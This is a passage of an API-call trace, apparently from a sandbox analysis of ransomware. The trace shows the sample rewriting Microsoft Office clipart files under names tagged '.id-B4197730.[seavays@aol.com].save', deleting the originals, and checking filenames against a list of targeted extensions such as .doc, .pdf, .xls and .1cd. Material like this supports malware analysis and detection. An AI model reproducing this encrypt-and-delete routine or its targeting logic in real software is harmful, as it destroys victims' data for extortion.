lpOverlapped=0x0) returned 1 [0073.776] SetEndOfFile (hFile=0x2ec) returned 1 [0073.776] CloseHandle (hObject=0x2ec) returned 1 [0073.776] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.776] SetEndOfFile (hFile=0x2e8) returned 1 [0073.781] CloseHandle (hObject=0x2e8) returned 1 [0073.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0073.782] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 1 [0073.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0073.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0073.783] lstrlenW (lpString=".doc") returned 4 [0073.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0073.783] lstrlenW (lpString=".docx") returned 5 [0073.783] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0073.783] lstrlenW (lpString=".pdf") returned 4 [0073.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0073.783] lstrlenW (lpString=".xls") returned 4 [0073.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0073.783] lstrlenW (lpString=".xlsx") returned 5 [0073.783] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0073.783] lstrlenW (lpString=".ppt") returned 4 [0073.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0073.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0073.783] lstrlenW (lpString=".zip") returned 4 [0073.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0073.783] lstrlenW (lpString=".rar") returned 4 [0073.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0073.783] lstrlenW (lpString=".bz2") returned 4 [0073.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0073.783] lstrlenW (lpString=".7z") returned 3 [0073.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0073.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0073.783] lstrlenW (lpString=".dbf") returned 4 [0073.783] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0073.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0073.784] lstrlenW (lpString=".1cd") returned 4 [0073.784] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0073.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0073.784] lstrlenW (lpString=".jpg") returned 4 [0073.784] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0073.784] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.784] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0073.785] GetLastError () returned 0x0 [0073.785] ReadFile (in: hFile=0x2e8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x3772, lpOverlapped=0x0) returned 1 [0073.787] WriteFile (in: hFile=0x2ec, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x3780, lpOverlapped=0x0) returned 1 [0073.789] ReadFile (in: hFile=0x2e8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.789] WriteFile (in: hFile=0x2ec, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.789] SetEndOfFile (hFile=0x2ec) returned 1 [0073.789] CloseHandle (hObject=0x2ec) returned 1 [0073.789] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.789] SetEndOfFile (hFile=0x2e8) returned 1 [0073.790] CloseHandle (hObject=0x2e8) returned 1 [0073.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0073.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 1 [0073.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0073.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0073.791] lstrlenW (lpString=".doc") returned 4 [0073.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0073.792] lstrlenW (lpString=".docx") returned 5 [0073.792] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0073.792] lstrlenW (lpString=".pdf") returned 4 [0073.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0073.792] lstrlenW (lpString=".xls") returned 4 [0073.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0073.792] lstrlenW (lpString=".xlsx") returned 5 [0073.792] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0073.792] lstrlenW (lpString=".ppt") returned 4 [0073.792] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0073.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0073.792] lstrlenW (lpString=".zip") returned 4 [0073.792] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0073.792] lstrlenW (lpString=".rar") returned 4 [0073.792] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0073.792] lstrlenW (lpString=".bz2") returned 4 [0073.792] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0073.792] lstrlenW (lpString=".7z") returned 3 [0073.792] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0073.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0073.792] lstrlenW (lpString=".dbf") returned 4 [0073.792] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0073.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0073.792] lstrlenW (lpString=".1cd") returned 4 [0073.793] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0073.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0073.793] lstrlenW (lpString=".jpg") returned 4 [0073.793] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0074.437] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.438] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0074.438] GetLastError () returned 0x0 [0074.438] ReadFile (in: hFile=0x37c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x920e, lpOverlapped=0x0) returned 1 [0074.440] WriteFile (in: hFile=0x370, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x9210, lpOverlapped=0x0) returned 1 [0074.442] ReadFile (in: hFile=0x37c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.442] WriteFile (in: hFile=0x370, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.442] SetEndOfFile (hFile=0x370) returned 1 [0074.442] CloseHandle (hObject=0x370) returned 1 [0074.442] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.442] SetEndOfFile (hFile=0x37c) returned 1 [0074.443] CloseHandle (hObject=0x37c) returned 1 [0074.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0074.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 1 [0074.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0074.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0074.444] lstrlenW (lpString=".doc") returned 4 [0074.444] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0074.444] lstrlenW (lpString=".docx") returned 5 [0074.444] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0074.444] lstrlenW (lpString=".pdf") returned 4 [0074.444] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0074.444] lstrlenW (lpString=".xls") returned 4 [0074.444] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0074.444] lstrlenW (lpString=".xlsx") returned 5 [0074.444] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0074.444] lstrlenW (lpString=".ppt") returned 4 [0074.444] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0074.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0074.444] lstrlenW (lpString=".zip") returned 4 [0074.445] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0074.445] lstrlenW (lpString=".rar") returned 4 [0074.445] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0074.445] lstrlenW (lpString=".bz2") returned 4 [0074.445] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0074.445] lstrlenW (lpString=".7z") returned 3 [0074.445] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0074.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0074.445] lstrlenW (lpString=".dbf") returned 4 [0074.445] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0074.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0074.445] lstrlenW (lpString=".1cd") returned 4 [0074.445] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0074.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0074.445] lstrlenW (lpString=".jpg") returned 4 [0074.445] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0074.446] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.446] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0074.446] GetLastError () returned 0x0 [0074.446] ReadFile (in: hFile=0x37c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x4712, lpOverlapped=0x0) returned 1 [0074.448] WriteFile (in: hFile=0x370, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x4720, lpOverlapped=0x0) returned 1 [0074.449] ReadFile (in: hFile=0x37c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.449] WriteFile (in: hFile=0x370, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.449] SetEndOfFile (hFile=0x370) returned 1 [0074.450] CloseHandle (hObject=0x370) returned 1 [0074.450] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.450] SetEndOfFile (hFile=0x37c) returned 1 [0074.451] CloseHandle (hObject=0x37c) returned 1 [0074.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0074.451] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 1 [0074.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0074.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0074.452] lstrlenW (lpString=".doc") returned 4 [0074.452] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0074.452] lstrlenW (lpString=".docx") returned 5 [0074.452] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0074.452] lstrlenW (lpString=".pdf") returned 4 [0074.452] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0074.452] lstrlenW (lpString=".xls") returned 4 [0074.452] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0074.452] lstrlenW (lpString=".xlsx") returned 5 [0074.452] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0074.452] lstrlenW (lpString=".ppt") returned 4 [0074.452] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0074.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0074.452] lstrlenW (lpString=".zip") returned 4 [0074.452] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0074.452] lstrlenW (lpString=".rar") returned 4 [0074.452] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0074.452] lstrlenW (lpString=".bz2") returned 4 [0074.452] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0074.452] lstrlenW (lpString=".7z") returned 3 [0074.452] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0074.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0074.452] lstrlenW (lpString=".dbf") returned 4 [0074.452] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0074.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0074.452] lstrlenW (lpString=".1cd") returned 4 [0074.452] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0074.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0074.452] lstrlenW (lpString=".jpg") returned 4 [0074.452] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0074.453] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.453] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0074.454] GetLastError () returned 0x0 [0074.454] ReadFile (in: hFile=0x37c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xb6de, lpOverlapped=0x0) returned 1 [0074.456] WriteFile (in: hFile=0x370, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xb6e0, lpOverlapped=0x0) returned 1 [0074.457] ReadFile (in: hFile=0x37c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.457] WriteFile (in: hFile=0x370, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.457] SetEndOfFile (hFile=0x370) returned 1 [0074.457] CloseHandle (hObject=0x370) returned 1 [0074.457] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.458] SetEndOfFile (hFile=0x37c) returned 1 [0074.459] CloseHandle (hObject=0x37c) returned 1 [0074.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0074.459] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 1 [0074.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0074.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0074.459] lstrlenW (lpString=".doc") returned 4 [0074.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0074.459] lstrlenW (lpString=".docx") returned 5 [0074.460] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0074.460] lstrlenW (lpString=".pdf") returned 4 [0074.460] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0074.460] lstrlenW (lpString=".xls") returned 4 [0074.460] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0074.460] lstrlenW (lpString=".xlsx") returned 5 [0074.460] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0074.460] lstrlenW (lpString=".ppt") returned 4 [0074.460] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0074.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0074.460] lstrlenW (lpString=".zip") returned 4 [0074.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0074.460] lstrlenW (lpString=".rar") returned 4 [0074.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0074.460] lstrlenW (lpString=".bz2") returned 4 [0074.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0074.460] lstrlenW (lpString=".7z") returned 3 [0074.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0074.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0074.460] lstrlenW (lpString=".dbf") returned 4 [0074.460] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0074.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0074.460] lstrlenW (lpString=".1cd") returned 4 [0074.460] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0074.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0074.460] lstrlenW (lpString=".jpg") returned 4 [0074.460] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0074.461] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.461] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0074.462] GetLastError () returned 0x0 [0074.462] ReadFile (in: hFile=0x37c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x17b4, lpOverlapped=0x0) returned 1 [0074.463] WriteFile (in: hFile=0x370, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x17c0, lpOverlapped=0x0) returned 1 [0074.464] ReadFile (in: hFile=0x37c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.464] WriteFile (in: hFile=0x370, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.464] SetEndOfFile (hFile=0x370) returned 1 [0074.465] CloseHandle (hObject=0x370) returned 1 [0074.465] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.465] SetEndOfFile (hFile=0x37c) returned 1 [0074.466] CloseHandle (hObject=0x37c) returned 1 [0074.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0074.466] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 1 [0074.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0074.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0074.466] lstrlenW (lpString=".doc") returned 4 [0074.466] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0074.466] lstrlenW (lpString=".docx") returned 5 [0074.466] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0074.466] lstrlenW (lpString=".pdf") returned 4 [0074.467] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0074.467] lstrlenW (lpString=".xls") returned 4 [0074.467] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0074.467] lstrlenW (lpString=".xlsx") returned 5 [0074.467] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0074.467] lstrlenW (lpString=".ppt") returned 4 [0074.467] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0074.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0074.467] lstrlenW (lpString=".zip") returned 4 [0074.467] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0074.467] lstrlenW (lpString=".rar") returned 4 [0074.467] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0074.467] lstrlenW (lpString=".bz2") returned 4 [0074.467] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0074.467] lstrlenW (lpString=".7z") returned 3 